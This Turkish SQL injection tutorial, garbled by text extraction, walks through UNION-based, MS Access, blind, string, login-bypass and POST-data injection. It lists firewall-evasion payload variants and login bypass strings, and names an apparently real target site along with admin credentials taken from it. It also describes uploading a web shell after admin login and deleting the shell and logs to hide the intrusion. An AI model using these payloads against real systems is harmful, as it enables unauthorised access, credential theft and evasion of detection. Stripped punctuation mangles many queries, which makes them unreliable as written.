-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
